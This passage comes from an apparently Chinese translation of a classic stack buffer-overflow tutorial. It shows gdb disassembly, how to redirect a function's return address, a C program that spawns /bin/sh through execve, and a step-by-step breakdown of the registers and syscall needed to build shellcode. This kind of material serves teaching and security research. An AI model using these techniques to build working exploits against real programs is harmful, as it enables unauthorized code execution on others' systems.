------------------------------------------------------------------------------
我们把buffer1[]的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过 赋值语句而直接执行printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用 过一个试验值(比如1), 编译该程序, 祭出工具gdb:
------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490 <main>: pushl %ebp 0x8000491 <main+1>: movl %esp,%ebp 0x8000493 <main+3>: subl $0x4,%esp 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp) 0x800049d <main+13>: pushl $0x3 0x800049f <main+15>: pushl $0x2 0x80004a1 <main+17>: pushl $0x1 0x80004a3 <main+19>: call 0x8000470 <function> 0x80004a8 <main+24>: addl $0xc,%esp 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp) 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax 0x80004b5 <main+37>: pushl %eax 0x80004b6 <main+38>: pushl $0x80004f8 0x80004bb <main+43>: call 0x8000378 <printf> 0x80004c0 <main+48>: addl $0x8,%esp 0x80004c3 <main+51>: movl %ebp,%esp 0x80004c5 <main+53>: popl %ebp 0x80004c6 <main+54>: ret 0x80004c7 <main+55>: nop ------------------------------------------------------------------------------
我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab的赋值 指令. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节.
Shell Code ~~~~~~~~~~ 现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢? 在大多数情况下我们只是希望程序派生出一个shell. 从这个shell中, 可以执行任何我 们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们 怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我 们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈 的起始地址为0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:
内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高 地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址 buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| 堆栈顶部 堆栈底部 派生出一个shell的C语言代码是这样的: shellcode.c ----------------------------------------------------------------------------- #include <stdio.h>
void main() { char *name[2];
name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ 为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住 在编译的时候要使用-static标志, 否则系统调用execve的真实代码就不会包括在汇编中, 取而代之的是对动态C语言库的一个引用, 真正的代码要到程序加载的时候才会联入.
------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------
下面我们看看这里究竟发生了什么事情. 先从main开始研究: ------------------------------------------------------------------------------ 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp
这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针, 然后为局部变量保留空间. 这里是: char *name[2]; 即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节)的 空间. 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
我们把0x80027b8(字串"/bin/sh"的地址)这个值复制到name[]中的第一个指针, 这 等价于: name[0] = "/bin/sh"; 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 我们把值0x0(NULL)复制到name[]中的第二个指针, 这等价于: name[1] = NULL; 对execve()的真正调用从下面开始: 0x8000144 <main+20>: pushl $0x0
我们把execve()的参数以从后向前的顺序压入堆栈中, 这里从NULL开始. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
把name[]的地址放到EAX寄存器中. 0x8000149 <main+25>: pushl %eax
接着就把name[]的地址压入堆栈中. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 把字串"/bin/sh"的地址放到EAX寄存器中 0x800014d <main+29>: pushl %eax
接着就把字串"/bin/sh"的地址压入堆栈中 0x800014e <main+30>: call 0x80002bc <__execve>
调用库例程execve(). 这个调用指令把IP(指令指针)压入堆栈中. ------------------------------------------------------------------------------
现在到了execve(). 要注意我们使用的是基于Intel的Linux系统. 系统调用的细节随 操作系统和CPU的不同而不同. 有的把参数压入堆栈中, 有的保存在寄存器里. 有的使用 软中断跳入内核模式, 有的使用远调用(far call). Linux把传给系统调用的参数保存在 寄存器里, 并且使用软中断跳入内核模式.
------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx
例程的准备工作. 0x80002c0 <__execve+4>: movl $0xb,%eax
把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈). 0xb是系统调用表的索引 11就是execve.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
把"/bin/sh"的地址放到寄存器EBX中.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
把name[]的地址放到寄存器ECX中. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
把空指针的地址放到寄存器EDX中.
0x80002ce <__execve+18>: int $0x80
进入内核模式. ------------------------------------------------------------------------------
由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下: a) 把以NULL结尾的字串"/bin/sh"放到内存某处. b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word) . c) 把0xb放到寄存器EAX中. d) 把字串"/bin/sh"的地址放到寄存器EBX中. e) 把字串"/bin/sh"地址的地址放到寄存器ECX中. (注: 原文d和e步骤把EBX和ECX弄反了) f) 把空长字的地址放到寄存器EDX中. g) 执行指令int $0x80.
|